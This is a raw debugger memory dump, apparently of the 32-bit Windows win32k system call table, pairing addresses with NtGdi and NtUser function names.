8e177204  8e171de0 win32k!NtGdiGetGlyphIndicesWInternal

8e177208  8e171dec win32k!NtGdiGetGlyphIndicesW

8e17720c  8e171df8 win32k!NtGdiGetFontResourceInfoInternalW

8e177210  8e171e04 win32k!NtGdiGetFontFileInfo

8e177214  8e171e10 win32k!NtGdiGetFontFileData

8e177218  8e171e1c win32k!NtGdiGetFontData

8e17721c  8e171e28 win32k!NtGdiGetEudcTimeStampEx

8e177220  8e171e34 win32k!NtGdiGetETM

8e177224  8e171e40 win32k!NtGdiGetDIBitsInternal

8e177228  8e171e4c win32k!NtGdiGetDeviceCapsAll

8e17722c  8e171e58 win32k!NtGdiGetDeviceGammaRamp

8e177230  8e171e64 win32k!NtGdiGetDeviceCaps

8e177234  8e171e70 win32k!NtGdiGetDCPoint

8e177238  8e171e7c win32k!NtGdiGetDCObject

8e17723c  8e171e88 win32k!NtGdiGetDCforBitmap

8e177240  8e171e94 win32k!NtGdiGetDCDword

8e177244  8e171ea0 win32k!NtGdiGetCurrentDpiInfo

8e177248  8e171eac win32k!NtGdiGetCOPPCompatibleOPMInformation

8e17724c  8e171eb8 win32k!NtGdiGetColorSpaceforBitmap

8e177250  8e171ec4 win32k!NtGdiGetColorAdjustment

8e177254  8e171ed0 win32k!NtGdiGetCharWidthInfo

8e177258  8e171edc win32k!NtGdiGetCharWidthW

8e17725c  8e171ee8 win32k!NtGdiGetCharSet

8e177260  8e171ef4 win32k!NtGdiGetCharacterPlacementW

8e177264  8e171f00 win32k!NtGdiGetCharABCWidthsW

8e177268  8e171f0c win32k!NtGdiGetCertificateSize

8e17726c  8e171f18 win32k!NtGdiGetCertificate

8e177270  8e171f24 win32k!NtGdiGetBoundsRect

8e177274  8e171f30 win32k!NtGdiGetBitmapDimension

8e177278  8e171f3c win32k!NtGdiGetBitmapBits

8e17727c  8e171f48 win32k!NtGdiGetAppClipBox

8e177280  8e171f54 win32k!NtGdiGetAndSetDCDword

8e177284  8e171f60 win32k!NtGdiFullscreenControl

8e177288  8e171f6c win32k!NtGdiFrameRgn

8e17728c  8e171f78 win32k!NtGdiForceUFIMapping

8e177290  8e171f84 win32k!NtGdiFlush

8e177294  8e171f90 win32k!NtGdiFlattenPath

8e177298  8e171f9c win32k!NtGdiFillRgn

8e17729c  8e171fa8 win32k!NtGdiFillPath

8e1772a0  8e171fb4 win32k!NtGdiExtTextOutW

8e1772a4  8e171fc0 win32k!NtGdiExtSelectClipRgn

8e1772a8  8e171fcc win32k!NtGdiExtGetObjectW

8e1772ac  8e171fd8 win32k!NtGdiExtFloodFill

8e1772b0  8e171fe4 win32k!NtGdiExtEscape

8e1772b4  8e171ff0 win32k!NtGdiExtCreateRegion

8e1772b8  8e171ffe win32k!NtGdiExtCreatePen

8e1772bc  8e17200a win32k!NtGdiExcludeClipRect

8e1772c0  8e172016 win32k!NtGdiEudcLoadUnloadLink

8e1772c4  8e172022 win32k!NtGdiEqualRgn

8e1772c8  8e17202e win32k!NtGdiEnumObjects

8e1772cc  8e17203a win32k!NtGdiEnumFonts

8e1772d0  8e172046 win32k!NtGdiEndPath

8e1772d4  8e172052 win32k!NtGdiEndPage

8e1772d8  8e17205e win32k!NtGdiEndGdiRendering

8e1772dc  8e17206a win32k!NtGdiEndDoc

8e1772e0  8e172076 win32k!NtGdiEnableEudc

8e1772e4  8e172082 win32k!NtGdiEllipse

8e1772e8  8e17208e win32k!NtGdiDrawEscape

8e1772ec  8e17209a win32k!NtGdiDoPalette

8e1772f0  8e1720a6 win32k!NtGdiDoBanding

8e1772f4  8e1720b2 win32k!NtGdiGetPerBandInfo

8e1772f8  8e1720be win32k!NtGdiDestroyOPMProtectedOutput

8e1772fc  8e1720ca win32k!NtGdiDescribePixelFormat

8e177300  8e1720d6 win32k!NtGdiDeleteObjectApp

8e177304  8e1720e2 win32k!NtGdiDeleteColorTransform

8e177308  8e1720ee win32k!NtGdiDeleteColorSpace

8e17730c  8e1720fa win32k!NtGdiDeleteClientObj

8e177310  8e172106 win32k!NtGdiDxgGenericThunk

8e177314  8e172112 win32k!NtGdiDvpReleaseNotification

8e177318  8e17211e win32k!NtGdiDvpAcquireNotification

8e17731c  8e17212a win32k!NtGdiDvpWaitForVideoPortSync

8e177320  8e172136 win32k!NtGdiDvpUpdateVideoPort

8e177324  8e172142 win32k!NtGdiDvpGetVideoSignalStatus

8e177328  8e17214e win32k!NtGdiDvpGetVideoPortConnectInfo

8e17732c  8e17215a win32k!NtGdiDvpGetVideoPortOutputFormats

8e177330  8e172166 win32k!NtGdiDvpGetVideoPortLine

8e177334  8e172172 win32k!NtGdiDvpGetVideoPortInputFormats

8e177338  8e17217e win32k!NtGdiDvpGetVideoPortFlipStatus

8e17733c  8e17218a win32k!NtGdiDvpGetVideoPortField

8e177340  8e172196 win32k!NtGdiDvpGetVideoPortBandwidth

8e177344  8e1721a2 win32k!NtGdiDvpFlipVideoPort

8e177348  8e1721ae win32k!NtGdiDvpDestroyVideoPort

8e17734c  8e1721ba win32k!NtGdiDvpCreateVideoPort

8e177350  8e1721c6 win32k!NtGdiDvpColorControl

8e177354  8e1721d2 win32k!NtGdiDvpCanCreateVideoPort

8e177358  8e1721de win32k!NtGdiDdWaitForVerticalBlank

8e17735c  8e1721ea win32k!NtGdiDdUpdateOverlay

8e177360  8e1721f6 win32k!NtGdiDdUnlockD3D

8e177364  8e172202 win32k!NtGdiDdUnlock

8e177368  8e17220e win32k!NtGdiDdUnattachSurface

8e17736c  8e17221a win32k!NtGdiDdSetOverlayPosition

8e177370  8e172226 win32k!NtGdiDdCreateSurfaceEx

8e177374  8e172232 win32k!NtGdiDdSetGammaRamp

8e177378  8e17223e win32k!NtGdiDdSetExclusiveMode

8e17737c  8e17224a win32k!NtGdiDdSetColorKey

8e177380  8e172256 win32k!NtGdiDdResetVisrgn

8e177384  8e172262 win32k!NtGdiDdRenderMoComp

8e177388  8e17226e win32k!NtGdiDdReleaseDC

8e17738c  8e17227a win32k!NtGdiDdReenableDirectDrawObject

8e177390  8e172286 win32k!NtGdiDdQueryMoCompStatus

8e177394  8e172292 win32k!NtGdiDdQueryDirectDrawObject

8e177398  8e17229e win32k!NtGdiDdLockD3D

8e17739c  8e1722aa win32k!NtGdiDdLock

8e1773a0  8e1722b6 win32k!NtGdiDdGetScanLine

8e1773a4  8e1722c2 win32k!NtGdiDdGetMoCompFormats

8e1773a8  8e1722ce win32k!NtGdiDdGetMoCompGuids

8e1773ac  8e1722da win32k!NtGdiDdGetMoCompBuffInfo

8e1773b0  8e1722e6 win32k!NtGdiDdGetInternalMoCompInfo

8e1773b4  8e1722f2 win32k!NtGdiDdGetFlipStatus

8e1773b8  8e1722fe win32k!NtGdiDdGetDxHandle

8e1773bc  8e17230a win32k!NtGdiDdGetDriverInfo

8e1773c0  8e172316 win32k!NtGdiDdGetDC

8e1773c4  8e172322 win32k!NtGdiDdGetBltStatus

8e1773c8  8e17232e win32k!NtGdiDdGetAvailDriverMemory

8e1773cc  8e17233a win32k!NtGdiDdFlipToGDISurface

8e1773d0  8e172346 win32k!NtGdiDdFlip

8e1773d4  8e172352 win32k!NtGdiDdEndMoCompFrame

8e1773d8  8e17235e win32k!NtGdiDdDestroyD3DBuffer

8e1773dc  8e17236a win32k!NtGdiDdDestroySurface

8e1773e0  8e172376 win32k!NtGdiDdDestroyMoComp

8e1773e4  8e172382 win32k!NtGdiDdDeleteSurfaceObject

8e1773e8  8e17238e win32k!NtGdiDdDeleteDirectDrawObject

8e1773ec  8e17239a win32k!NtGdiDdCreateSurfaceObject

8e1773f0  8e1723a6 win32k!NtGdiDdCreateMoComp

8e1773f4  8e1723b2 win32k!NtGdiDdCreateD3DBuffer

8e1773f8  8e1723be win32k!NtGdiDdCreateSurface

8e1773fc  8e1723ca win32k!NtGdiDdCreateDirectDrawObject

8e177400  8e1723d6 win32k!NtGdiDdColorControl

8e177404  8e1723e2 win32k!NtGdiDdCanCreateD3DBuffer

8e177408  8e1723ee win32k!NtGdiDdCanCreateSurface

8e17740c  8e1723fa win32k!NtGdiDdBlt

8e177410  8e172406 win32k!NtGdiDdBeginMoCompFrame

8e177414  8e172412 win32k!NtGdiDdAttachSurface

8e177418  8e17241e win32k!NtGdiDdAlphaBlt

8e17741c  8e17242a win32k!NtGdiDdAddAttachedSurface

8e177420  8e172436 win32k!NtGdiDdGetDriverState

8e177424  8e172442 win32k!NtGdiD3dDrawPrimitives2

8e177428  8e17244e win32k!NtGdiD3dValidateTextureStageState

8e17742c  8e17245a win32k!NtGdiD3dContextDestroyAll

8e177430  8e172466 win32k!NtGdiD3dContextDestroy

8e177434  8e172472 win32k!NtGdiD3dContextCreate

8e177438  8e17247e win32k!NtGdiCreateSolidBrush

8e17743c  8e17248a win32k!NtGdiCreateServerMetaFile

8e177440  8e172496 win32k!NtGdiCreateRoundRectRgn

8e177444  8e1724a2 win32k!NtGdiCreateRectRgn

8e177448  8e1724ae win32k!NtGdiCreatePen

8e17744c  8e1724ba win32k!NtGdiCreatePatternBrushInternal

8e177450  8e1724c6 win32k!NtGdiCreatePaletteInternal

8e177454  8e1724d2 win32k!NtGdiCreateOPMProtectedOutputs

8e177458  8e1724de win32k!NtGdiCreateMetafileDC

8e17745c  8e1724ea win32k!NtGdiCreateHatchBrushInternal

8e177460  8e1724f6 win32k!NtGdiCreateHalftonePalette

8e177464  8e172502 win32k!NtGdiCreateEllipticRgn

8e177468  8e17250e win32k!NtGdiCreateSessionMappedDIBSection

8e17746c  8e17251a win32k!NtGdiCreateDIBSection

8e177470  8e172526 win32k!NtGdiCreateDIBitmapInternal

8e177474  8e172532 win32k!NtGdiCreateDIBBrush

8e177478  8e17253e win32k!NtGdiCreateCompatibleDC

8e17747c  8e17254a win32k!NtGdiCreateCompatibleBitmap

8e177480  8e172556 win32k!NtGdiCreateColorTransform

8e177484  8e172562 win32k!NtGdiCreateColorSpace

8e177488  8e17256e win32k!NtGdiCreateClientObj

8e17748c  8e17257a win32k!NtGdiCreateBitmapFromDxSurface2

8e177490  8e172586 win32k!NtGdiCreateBitmapFromDxSurface

8e177494  8e172592 win32k!NtGdiCreateBitmap

8e177498  8e17259e win32k!NtGdiConvertMetafileRect

8e17749c  8e1725aa win32k!NtGdiConfigureOPMProtectedOutput

8e1774a0  8e1725b6 win32k!NtGdiComputeXformCoefficients

8e1774a4  8e1725c2 win32k!NtGdiCombineTransform

8e1774a8  8e1725ce win32k!NtGdiCombineRgn

8e1774ac  8e1725da win32k!NtGdiColorCorrectPalette

8e1774b0  8e1725e6 win32k!NtGdiClearBrushAttributes

8e1774b4  8e1725f2 win32k!NtGdiClearBitmapAttributes

8e1774b8  8e1725fe win32k!NtGdiCloseFigure

8e1774bc  8e17260a win32k!NtGdiCheckBitmapBits

8e1774c0  8e172616 win32k!NtGdiCancelDC

8e1774c4  8e172622 win32k!NtGdiBitBlt

8e1774c8  8e17262e win32k!NtGdiBeginPath

8e1774cc  8e17263a win32k!NtGdiBeginGdiRendering

8e1774d0  8e172646 win32k!NtGdiArcInternal

8e1774d4  8e172652 win32k!NtGdiFontIsLinked

8e1774d8  8e17265e win32k!NtGdiAnyLinkedFonts

8e1774dc  8e17266a win32k!NtGdiAngleArc

8e1774e0  8e172676 win32k!NtGdiAlphaBlend

8e1774e4  8e172682 win32k!NtGdiAddRemoteMMInstanceToDC

8e1774e8  8e17268e win32k!NtGdiRemoveMergeFont

8e1774ec  8e17269a win32k!NtGdiAddFontMemResourceEx

8e1774f0  8e1726a6 win32k!NtGdiAddRemoteFontToDC

8e1774f4  8e1726b2 win32k!NtGdiAddFontResourceW

8e1774f8  8e1726be win32k!NtGdiAbortPath

8e1774fc  8e1726ca win32k!NtGdiAbortDoc

8e177500  8e1726d6 win32k!NtUserDefSetText

8e177504  8e1726e2 win32k!NtUserDeferWindowPosAndBand

8e177508  8e1726ee win32k!NtUserDdeInitialize

8e17750c  8e1726fa win32k!NtUserCanBrokerForceForeground

8e177510  8e172706 win32k!NtUserCreateWindowStation

8e177514  8e172712 win32k!NtUserCreateWindowEx

8e177518  8e17271e win32k!NtUserCreateLocalMemHandle

8e17751c  8e17272a win32k!NtUserCreateInputContext

8e177520  8e172736 win32k!NtUserCreateDesktopEx

8e177524  8e172742 win32k!NtUserCreateCaret

8e177528  8e17274e win32k!NtUserCreateAcceleratorTable

8e17752c  8e17275a win32k!NtUserCountClipboardFormats

8e177530  8e172766 win32k!NtUserCopyAcceleratorTable

8e177534  8e172772 win32k!NtUserConvertMemHandle

8e177538  8e17277e win32k!NtUserConsoleControl

8e17753c  8e17278a win32k!NtUserCloseWindowStation

8e177540  8e172796 win32k!NtUserCloseDesktop

8e177544  8e1727a2 win32k!NtUserCloseClipboard

8e177548  8e1727ae win32k!NtUserClipCursor

8e17754c  8e1727ba win32k!NtUserChildWindowFromPointEx

8e177550  8e1727c6 win32k!NtUserCheckMenuItem

8e177554  8e1727d2 win32k!NtUserCheckWindowThreadDesktop

8e177558  8e1727de win32k!NtUserDwmValidateWindow

8e17755c  8e1727ea win32k!NtUserCheckAccessForIntegrityLevel

8e177560  8e1727f6 win32k!NtUserDisplayConfigSetDeviceInfo

8e177564  8e172802 win32k!NtUserDisplayConfigGetDeviceInfo

8e177568  8e17280e win32k!NtUserQueryDisplayConfig

8e17756c  8e17281a win32k!NtUserSetDisplayConfig

8e177570  8e172826 win32k!NtUserGetDisplayConfigBufferSizes

8e177574  8e172832 win32k!NtUserChangeDisplaySettings

8e177578  8e17283e win32k!NtUserChangeClipboardChain

8e17757c  8e17284a win32k!NtUserCallTwoParam

8e177580  8e172856 win32k!NtUserCallOneParam

8e177584  8e172862 win32k!NtUserCallNoParam

8e177588  8e17286e win32k!NtUserCallNextHookEx

8e17758c  8e17287a win32k!NtUserCallMsgFilter

8e177590  8e172886 win32k!NtUserCallHwndParamLock

8e177594  8e172892 win32k!NtUserCallHwndParam

8e177598  8e17289e win32k!NtUserCallHwndOpt

8e17759c  8e1728aa win32k!NtUserCallHwndLock

8e1775a0  8e1728b6 win32k!NtUserCallHwnd

8e1775a4  8e1728c2 win32k!NtUserBuildPropList

8e1775a8  8e1728ce win32k!NtUserBuildNameList

8e1775ac  8e1728da win32k!NtUserBuildHwndList

8e1775b0  8e1728e6 win32k!NtUserBuildHimcList

8e1775b4  8e1728f2 win32k!NtUserBlockInput

8e1775b8  8e1728fe win32k!NtUserBitBltSysBmp

8e1775bc  8e17290a win32k!NtUserBeginPaint

8e1775c0  8e172916 win32k!NtUserAttachThreadInput

8e1775c4  8e172922 win32k!NtUserAssociateInputContext

8e1775c8  8e17292e win32k!NtUserAlterWindowStyle

8e1775cc  8e17293a win32k!NtUserAddClipboardFormatListener

8e1775d0  8e172946 win32k!NtUserActivateKeyboardLayout

8e1775d4  8e172952 win32k!NtUserDelegateCapturePointers

8e1775d8  8e17295e win32k!NtUserDelegateInput

8e1775dc  8e17296a win32k!NtUserDispatchMessage

8e1775e0  8e172976 win32k!NtUserDisableProcessWindowFiltering

8e1775e4  8e172982 win32k!NtUserDisableThreadIme

8e1775e8  8e17298e win32k!NtUserDestroyWindow

8e1775ec  8e17299a win32k!NtUserDestroyMenu

8e1775f0  8e1729a6 win32k!NtUserDestroyInputContext

8e1775f4  8e1729b2 win32k!NtUserDestroyCursor

8e1775f8  8e1729be win32k!NtUserDestroyAcceleratorTable

8e1775fc  8e1729ca win32k!NtUserDeleteMenu

8e177600  8e1729d6 win32k!NtUserDoSoundDisconnect

8e177604  8e1729e2 win32k!NtUserDoSoundConnect

8e177608  8e1729ee win32k!NtUserGhostWindowFromHungWindow

8e17760c  8e1729fa win32k!NtUserGetWOWClass

8e177610  8e172a06 win32k!NtUserGetWindowPlacement

8e177614  8e172a12 win32k!NtUserGetWindowDisplayAffinity

8e177618  8e172a1e win32k!NtUserGetWindowDC

8e17761c  8e172a2a win32k!NtUserGetWindowCompositionAttribute

8e177620  8e172a36 win32k!NtUserGetWindowCompositionInfo

8e177624  8e172a42 win32k!NtUserGetWindowBand

8e177628  8e172a4e win32k!NtUserGetUpdateRgn

8e17762c  8e172a5a win32k!NtUserGetUpdateRect

8e177630  8e172a66 win32k!NtUserGetUpdatedClipboardFormats

8e177634  8e172a72 win32k!NtUserGetTopLevelWindow

8e177638  8e172a7e win32k!NtUserGetTitleBarInfo

8e17763c  8e172a8a win32k!NtUserGetThreadState

8e177640  8e172a96 win32k!NtUserGetThreadDesktop

8e177644  8e172aa2 win32k!NtUserGetSystemMenu

8e177648  8e172aae win32k!NtUserGetScrollBarInfo

8e17764c  8e172aba win32k!NtUserGetRegisteredRawInputDevices

8e177650  8e172ac6 win32k!NtUserGetRawInputDeviceList

8e177654  8e172ad2 win32k!NtUserGetRawInputDeviceInfo

8e177658  8e172ade win32k!NtUserGetRawInputData

8e17765c  8e172aea win32k!NtUserGetRawInputBuffer

8e177660  8e172af6 win32k!NtUserGetProcessWindowStation

8e177664  8e172b02 win32k!NtUserGetPriorityClipboardFormat

8e177668  8e172b0e win32k!NtUserGetOpenClipboardWindow

8e17766c  8e172b1a win32k!NtUserGetObjectInformation

8e177670  8e172b26 win32k!NtUserGetMouseMovePointsEx

8e177674  8e172b32 win32k!NtUserGetMessage

8e177678  8e172b3e win32k!NtUserGetMenuItemRect

8e17767c  8e172b4a win32k!NtUserGetMenuIndex

8e177680  8e172b56 win32k!NtUserGetMenuBarInfo

8e177684  8e172b62 win32k!NtUserGetListBoxInfo

8e177688  8e172b6e win32k!NtUserGetKeyState

8e17768c  8e172b7a win32k!NtUserGetKeyNameText

8e177690  8e172b86 win32k!NtUserGetKeyboardState

8e177694  8e172b92 win32k!NtUserGetKeyboardLayoutName

8e177698  8e172b9e win32k!NtUserGetKeyboardLayoutList

8e17769c  8e172baa win32k!NtUserGetInternalWindowPos

8e1776a0  8e172bb6 win32k!NtUserGetInputLocaleInfo

8e1776a4  8e172bc2 win32k!NtUserGetImeInfoEx

8e1776a8  8e172bce win32k!NtUserGetImeHotKey

8e1776ac  8e172bda win32k!NtUserGetIconSize

8e1776b0  8e172be6 win32k!NtUserGetIconInfo

8e1776b4  8e172bf2 win32k!NtUserGetGUIThreadInfo

8e1776b8  8e172bfe win32k!NtUserGetGuiResources

8e1776bc  8e172c0a win32k!NtUserGetForegroundWindow

8e1776c0  8e172c16 win32k!NtUserGetDpiSystemMetrics

8e1776c4  8e172c22 win32k!NtUserGetDoubleClickTime

8e1776c8  8e172c2e win32k!NtUserGetDesktopID

8e1776cc  8e172c3a win32k!NtUserGetDCEx

8e1776d0  8e172c46 win32k!NtUserGetDC

8e1776d4  8e172c52 win32k!NtUserGetCursorInfo

8e1776d8  8e172c5e win32k!NtUserGetCursorFrameInfo

8e1776dc  8e172c6a win32k!NtUserGetCurrentInputMessageSource

8e1776e0  8e172c76 win32k!NtUserGetCIMSSM

8e1776e4  8e172c82 win32k!NtUserGetCPD

8e1776e8  8e172c8e win32k!NtUserGetControlColor

8e1776ec  8e172c9a win32k!NtUserGetControlBrush

8e1776f0  8e172ca6 win32k!NtUserGetComboBoxInfo

8e1776f4  8e172cb2 win32k!NtUserGetClipCursor

8e1776f8  8e172cbe win32k!NtUserGetClipboardViewer

8e1776fc  8e172cca win32k!NtUserGetClipboardSequenceNumber

8e177700  8e172cd6 win32k!NtUserGetClipboardOwner

8e177704  8e172ce2 win32k!NtUserGetClipboardFormatName

8e177708  8e172cee win32k!NtUserGetClipboardData

8e17770c  8e172cfa win32k!NtUserGetClassName

8e177710  8e172d06 win32k!NtUserGetClassInfoEx

8e177714  8e172d12 win32k!NtUserGetCaretPos

8e177718  8e172d1e win32k!NtUserGetCaretBlinkTime

8e17771c  8e172d2a win32k!NtUserGetAtomName

8e177720  8e172d36 win32k!NtUserGetAsyncKeyState

8e177724  8e172d42 win32k!NtUserGetAppImeLevel

8e177728  8e172d4e win32k!NtUserGetAncestor

8e17772c  8e172d5a win32k!NtUserGetAltTabInfo

8e177730  8e172d66 win32k!NtUserFrostCrashedWindow

8e177734  8e172d72 win32k!NtUserFlashWindowEx

8e177738  8e172d7e win32k!NtUserFindWindowEx

8e17773c  8e172d8a win32k!NtUserFindExistingCursorIcon

8e177740  8e172d96 win32k!NtUserFillWindow

8e177744  8e172da2 win32k!NtUserExcludeUpdateRgn

8e177748  8e172dae win32k!NtUserEvent

8e17774c  8e172dba win32k!NtUserEnumDisplaySettings

8e177750  8e172dc6 win32k!NtUserEnumDisplayMonitors

8e177754  8e172dd2 win32k!NtUserEnumDisplayDevices

8e177758  8e172dde win32k!NtUserEndPaint

8e17775c  8e172dea win32k!NtUserEndMenu

8e177760  8e172df6 win32k!NtUserEndDeferWindowPosEx

8e177764  8e172e02 win32k!NtUserEnableScrollBar

8e177768  8e172e0e win32k!NtUserEnableMenuItem

8e17776c  8e172e1a win32k!NtUserEmptyClipboard

8e177770  8e172e26 win32k!NtUserDrawMenuBarTemp

8e177774  8e172e32 win32k!NtUserDrawIconEx

8e177778  8e172e3e win32k!NtUserDrawCaptionTemp

8e17777c  8e172e4a win32k!NtUserDrawCaption

8e177780  8e172e56 win32k!NtUserDrawAnimatedRects

8e177784  8e172e62 win32k!NtUserDragObject

8e177788  8e172e6e win32k!NtUserDragDetect

8e17778c  8e172e7a win32k!NtUserHandleDelegatedInput

8e177790  8e172e86 win32k!NtUserRealChildWindowFromPoint

8e177794  8e172e92 win32k!NtUserQueryWindow

8e177798  8e172e9e win32k!NtUserQuerySendMessage

8e17779c  8e172eaa win32k!NtUserQueryInputContext

8e1777a0  8e172eb6 win32k!NtUserQueryInformationThread

8e1777a4  8e172ec2 win32k!NtUserQueryBSDRWindow

8e1777a8  8e172ece win32k!NtUserPerMonitorDPIPhysicalToLogicalPoint

8e1777ac  8e172eda win32k!NtUserProcessConnect

8e1777b0  8e172ee6 win32k!NtUserPrintWindow

8e1777b4  8e172ef2 win32k!NtUserPostThreadMessage

8e1777b8  8e172efe win32k!NtUserPostMessage

8e1777bc  8e172f0a win32k!NtUserPhysicalToLogicalPoint

8e1777c0  8e172f16 win32k!NtUserPeekMessage

8e1777c4  8e172f22 win32k!NtUserPaintMonitor

8e1777c8  8e172f2e win32k!NtUserPaintDesktop

8e1777cc  8e172f3a win32k!NtUserOpenWindowStation

8e1777d0  8e172f46 win32k!NtUserOpenThreadDesktop

8e1777d4  8e172f52 win32k!NtUserOpenInputDesktop

8e1777d8  8e172f5e win32k!NtUserOpenDesktop

8e1777dc  8e172f6a win32k!NtUserOpenClipboard

8e1777e0  8e172f76 win32k!NtUserNotifyWinEvent

8e1777e4  8e172f82 win32k!NtUserNotifyProcessCreate

8e1777e8  8e172f8e win32k!NtUserNotifyIMEStatus

8e1777ec  8e172f9a win32k!NtUserMoveWindow

8e1777f0  8e172fa6 win32k!NtUserModifyUserStartupInfoFlags

8e1777f4  8e172fb2 win32k!NtUserMNDragOver

8e1777f8  8e172fbe win32k!NtUserMNDragLeave

8e1777fc  8e172fca win32k!NtUserMinMaximize

8e177800  8e172fd6 win32k!NtUserMessageCall

8e177804  8e172fe2 win32k!NtUserMenuItemFromPoint

8e177808  8e172fee win32k!NtUserMapVirtualKeyEx

8e17780c  8e172ffa win32k!NtUserLayoutCompleted

8e177810  8e173006 win32k!NtUserLogicalToPerMonitorDPIPhysicalPoint

8e177814  8e173012 win32k!NtUserLogicalToPhysicalPoint

8e177818  8e17301e win32k!NtUserLockWorkStation

8e17781c  8e17302a win32k!NtUserLockWindowUpdate

8e177820  8e173036 win32k!NtUserLockWindowStation

8e177824  8e173042 win32k!NtUserLoadKeyboardLayoutEx

8e177828  8e17304e win32k!NtUserKillTimer

8e17782c  8e17305a win32k!NtUserIsTopLevelWindow

8e177830  8e173066 win32k!NtUserIsClipboardFormatAvailable

8e177834  8e173072 win32k!NtUserInvalidateRgn

8e177838  8e17307e win32k!NtUserInvalidateRect

8e17783c  8e17308a win32k!NtUserInternalGetWindowIcon

8e177840  8e173096 win32k!NtUserInternalGetWindowText

8e177844  8e1730a2 win32k!NtUserInitTask

8e177848  8e1730ae win32k!NtUserInitializeClientPfnArrays

8e17784c  8e1730ba win32k!NtUserInitialize

8e177850  8e1730c6 win32k!NtUserImpersonateDdeClientWindow

8e177854  8e1730d2 win32k!NtUserHungWindowFromGhostWindow

8e177858  8e1730de win32k!NtUserHiliteMenuItem

8e17785c  8e1730ea win32k!NtUserHideCaret

8e177860  8e1730f6 win32k!NtUserHardErrorControl

8e177864  8e173102 win32k!NtUserRealInternalGetMessage

8e177868  8e17310e win32k!NtUserRealWaitMessageEx

8e17786c  8e17311a win32k!NtUserTranslateMessage

8e177870  8e173126 win32k!NtUserTranslateAccelerator

8e177874  8e173132 win32k!NtUserPaintMenuBar

8e177878  8e17313e win32k!NtUserCalcMenuBar

8e17787c  8e17314a win32k!NtUserCalculatePopupWindowPosition

8e177880  8e173156 win32k!NtUserTrackPopupMenuEx

8e177884  8e173162 win32k!NtUserTrackMouseEvent

8e177888  8e17316e win32k!NtUserToUnicodeEx

8e17788c  8e17317a win32k!NtUserThunkedMenuItemInfo

8e177890  8e173186 win32k!NtUserThunkedMenuInfo

8e177894  8e173192 win32k!NtUserTestForInteractiveUser

8e177898  8e17319e win32k!NtUserSendEventMessage

8e17789c  8e1731aa win32k!NtUserSystemParametersInfo

8e1778a0  8e1731b6 win32k!NtUserSwitchDesktop

8e1778a4  8e1731c2 win32k!NtUserSoundSentry

8e1778a8  8e1731ce win32k!NtUserShutdownReasonDestroy

8e1778ac  8e1731da win32k!NtUserShutdownBlockReasonQuery

8e1778b0  8e1731e6 win32k!NtUserShutdownBlockReasonCreate

8e1778b4  8e1731f2 win32k!NtUserShowWindowAsync

8e1778b8  8e1731fe win32k!NtUserShowWindow

8e1778bc  8e17320a win32k!NtUserShowScrollBar

8e1778c0  8e173216 win32k!NtUserShowCaret

8e1778c4  8e173222 win32k!NtUserSetWinEventHook

8e1778c8  8e17322e win32k!NtUserSetWindowWord

8e1778cc  8e17323a win32k!NtUserSetWindowStationUser

8e1778d0  8e173246 win32k!NtUserSetWindowsHookEx

8e1778d4  8e173252 win32k!NtUserSetWindowsHookAW

8e1778d8  8e17325e win32k!NtUserSetWindowRgnEx

8e1778dc  8e17326a win32k!NtUserGetWindowRgnEx

8e1778e0  8e173276 win32k!NtUserSetWindowRgn

8e1778e4  8e173282 win32k!NtUserSetWindowPos

8e1778e8  8e17328e win32k!NtUserSetWindowPlacement

8e1778ec  8e17329a win32k!NtUserSetWindowLong

8e1778f0  8e1732a6 win32k!NtUserSetWindowFNID

8e1778f4  8e1732b2 win32k!NtUserSetWindowDisplayAffinity

8e1778f8  8e1732be win32k!NtUserSetWindowCompositionTransition

8e1778fc  8e1732ca win32k!NtUserUpdateDefaultDesktopThumbnail

8e177900  8e1732d6 win32k!NtUserSetWindowCompositionAttribute

8e177904  8e1732e2 win32k!NtUserSetWindowBand

8e177908  8e1732ee win32k!NtUserSetProcessUIAccessZorder

8e17790c  8e1732fa win32k!NtUserSetProcessDpiAwareness

8e177910  8e173306 win32k!NtUserSetTimer

8e177914  8e173312 win32k!NtUserSetThreadState

8e177918  8e17331e win32k!NtUserSetThreadLayoutHandles

8e17791c  8e17332a win32k!NtUserSetThreadDesktop

8e177920  8e173336 win32k!NtUserSetThreadInputBlocked

8e177924  8e173342 win32k!NtUserSetSystemTimer

8e177928  8e17334e win32k!NtUserSetSystemMenu

8e17792c  8e17335a win32k!NtUserSetSystemCursor

8e177930  8e173366 win32k!NtUserSetSysColors

8e177934  8e173372 win32k!NtUserSetShellWindowEx

8e177938  8e17337e win32k!NtUserSetImmersiveBackgroundWindow

8e17793c  8e17338a win32k!NtUserSetScrollInfo

8e177940  8e173396 win32k!NtUserSetProp

8e177944  8e1733a2 win32k!NtUserGetProp

8e177948  8e1733ae win32k!NtUserSetProcessWindowStation

8e17794c  8e1733ba win32k!NtUserSetParent

8e177950  8e1733c6 win32k!NtUserSetObjectInformation

8e177954  8e1733d2 win32k!NtUserSetMenuFlagRtoL

8e177958  8e1733de win32k!NtUserSetMenuDefaultItem

8e17795c  8e1733ea win32k!NtUserSetMenuContextHelpId

8e177960  8e1733f6 win32k!NtUserSetMenu

8e177964  8e173402 win32k!NtUserSetKeyboardState

8e177968  8e17340e win32k!NtUserSetInternalWindowPos

8e17796c  8e17341a win32k!NtUserSetInformationThread

8e177970  8e173426 win32k!NtUserSetImeOwnerWindow

8e177974  8e173432 win32k!NtUserSetImeInfoEx

8e177978  8e17343e win32k!NtUserSetImeHotKey

8e17797c  8e17344a win32k!NtUserSetFocus

8e177980  8e173456 win32k!NtUserSetCursorIconData

8e177984  8e173462 win32k!NtUserSetCursorContents

8e177988  8e17346e win32k!NtUserSetCursor

8e17798c  8e17347a win32k!NtUserSetClipboardViewer

8e177990  8e173486 win32k!NtUserSetClipboardData

8e177994  8e173492 win32k!NtUserSetClassWord

8e177998  8e17349e win32k!NtUserSetClassLong

8e17799c  8e1734aa win32k!NtUserSetChildWindowNoActivate

8e1779a0  8e1734b6 win32k!NtUserSetCapture

8e1779a4  8e1734c2 win32k!NtUserSetAppImeLevel

8e1779a8  8e1734ce win32k!NtUserSetActiveWindow

8e1779ac  8e1734da win32k!NtUserSendInput

8e1779b0  8e1734e6 win32k!NtUserSelectPalette

8e1779b4  8e1734f2 win32k!NtUserScrollWindowEx

8e1779b8  8e1734fe win32k!NtUserScrollDC

8e1779bc  8e17350a win32k!NtUserSBGetParms

8e1779c0  8e173516 win32k!NtUserResolveDesktopForWOW

8e1779c4  8e173522 win32k!NtUserRemoveProp

8e1779c8  8e17352e win32k!NtUserRemoveMenu

8e1779cc  8e17353a win32k!NtUserRemoveClipboardFormatListener

8e1779d0  8e173546 win32k!NtUserRegisterWindowMessage

